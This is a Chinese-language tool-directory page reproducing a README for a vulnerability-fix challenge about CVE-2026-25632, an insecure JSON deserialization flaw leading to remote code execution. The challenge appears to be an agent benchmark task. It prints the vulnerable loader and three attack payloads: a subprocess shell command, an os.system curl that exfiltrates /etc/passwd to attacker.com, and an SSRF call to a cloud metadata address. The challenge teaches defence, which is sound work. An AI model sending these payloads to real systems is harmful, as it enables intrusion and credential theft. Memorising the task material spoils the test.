Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25632 — CVE-2026-25632 — 修复导致远程代码执行的不安全 JSON 反序列化 | Kitploit
工具/GitHubGitHub/lazarus0x1337/cve-2026-25632
静态分析漏洞分析代码分析漏洞利用Web安全学习与教育实验室与实践
GitHublazarus0x1337/cve-2026-25632

CVE-2026-25632

CVE-2026-25632 — 修复导致远程代码执行的不安全 JSON 反序列化

查看仓库
1122个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-25632 — REST API 中的 JSON 反序列化 RCE(漏洞修复挑战)

灵感来源于 2026 年一个真实漏洞(CVSS 10.0,已被积极利用)
基于:CVE-2026-25632 — 通过不安全的 __type__ 驱动的 JSON 反序列化实现远程代码执行,该漏洞存在于 EPyT-Flow 水网仿真 REST API 中,并于 2026 年初公开披露。


背景

NovaSim 是一个基于 Python 的仿真框架,提供 REST API 用于远程控制科学实验。为了支持跨异构客户端环境的灵活对象序列化,一名开发人员添加了一个自定义 JSON 加载器,该加载器会检测特殊的 __type__ 字段,并使用 importlib 动态导入并实例化所引用的 Python 类。

这种模式在 2026 年被披露为一个主要开源项目中的严重远程代码执行(RCE)漏洞。安全研究人员发现,控制 JSON 请求体的攻击者可以构造一个小工具链(gadget chain),针对 Python 标准库中的任意可调用对象——包括 subprocess.Popen、os.system、eval 以及 25 个以上 SSRF 小工具——仅凭单个 HTTP 请求即可完全攻陷服务器,无需任何身份验证。


你的任务

你将获得 src/solution.py 的易受攻击版本,其中包含确切的不安全反序列化模式。

你的目标: 修复 DeserializationService.load_from_json() 中的漏洞,以便:

  1. 合法且已列入白名单的仿真对象仍能被正确反序列化。
  2. 任何尝试加载白名单之外类的行为都会引发 SecurityError。
  3. __type__ 字段不再允许任意模块导入或类实例化。
  4. 所有有效的仿真数据(非 __type__ JSON)继续正常加载。

技术问题说明

易受攻击的代码模式(请勿使用)

# DANGEROUS — CVE-2026-25632 pattern
import importlib

def _unsafe_load(data: dict):
    if "__type__" in data:
        module_path, class_name = data["__type__"].rsplit(".", 1)
        module = importlib.import_module(module_path)   # attacker-controlled!
        cls = getattr(module, class_name)               # attacker-controlled!
        return cls(**data.get("args", {}))              # arbitrary code execution!

攻击向量(来自真实安全研究)

攻击者发送带有精心构造的 JSON 请求体的 POST 请求:

向量 1 — 通过 subprocess 直接 RCE:

{
  "__type__": "subprocess.Popen",
  "args": {"args": ["id"], "shell": true}
}

向量 2 — 通过 os.system 实现 RCE:

{
  "__type__": "os.system",
  "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}

向量 3 — 通过 urllib.request.urlopen 实现 SSRF:

{
  "__type__": "urllib.request.urlopen",
  "args": {"url": "http://169.254.169.254/latest/meta-data/"}
}

安全研究人员记录了仅通过 Python 标准库即可触达的 12 个直接 RCE 小工具和 25 个 SSRF 小工具。


白名单类型

以下(且仅限以下)仿真对象类型可以通过 __type__ 进行反序列化:

__type__ 值Python 类
simulation.Sensornovasim.models.Sensor
simulation.Actuatornovasim.models.Actuator
simulation.Scenarionovasim.models.Scenario

任何其他 __type__ 值都必须在任何导入或实例化发生之前立即引发 SecurityError。


输入 / 输出规范

输入

提交给 DeserializationService.load_from_json(raw: str) -> dict | SimObject 的 JSON 对象

输出

  • 如果 JSON 没有 __type__ 键:返回 dict(解析后的 JSON)。
  • 如果 JSON 包含已列入白名单的 __type__:返回相应的仿真对象实例。
  • 如果 JSON 包含未列入白名单的 __type__:引发 SecurityError,消息为:"Blocked unsafe type: <type_value>"。
  • 如果 JSON 格式错误:引发 ValueError,消息为:"Invalid JSON payload"。

边界情况 / 错误处理规则

场景预期行为
__type__ 不存在解析并作为普通 dict 返回
__type__ = "simulation.Sensor"实例化 Sensor(**args)
__type__ = "subprocess.Popen"引发 SecurityError
__type__ = "os.system"引发 SecurityError
__type__ = "__builtins__.eval"引发 SecurityError
__type__ = ""(空字符串)引发 SecurityError
__type__ 为列表或整数引发 SecurityError(类型字段无效)
JSON 字符串格式错误引发 ValueError
有效对象中的额外未知字段接受,并作为 kwargs 传递给构造函数

文件

challenge-cve-2026-25632/
├── README.md                   <- You are here
├── Dockerfile                  <- Deterministic build environment
├── src/
│   ├── solution.py             <- BUGGY starter code (your target)
│   ├── solution_fixed.py       <- Reference solution (hidden from agent)
│   └── novasim/
│       ├── __init__.py
│       └── models.py           <- Allowlisted simulation model classes
└── tests/
    └── test_solution.py        <- Test harness (FAILS on buggy, PASSES on fixed)

验证标准

修复必须通过以下所有验证:

  • 所有 4 项标准反序列化测试(白名单类型、无类型普通 dict)
  • 所有 5 项攻击向量拦截测试(subprocess、os、eval、urllib、builtins)
  • 所有 3 项边界情况测试(空类型、非字符串类型、格式错误的 JSON)
  • 测试期间不得进行外部网络调用
  • 多次运行结果具有确定性

参考资料

  • NVD — CVE-2026-25632
  • CISA 公告 — 已知被利用漏洞目录
  • 安全研究:发现 79 个小工具 — MazeHQ,2026
  • CWE-502:不可信数据的反序列化
下载工具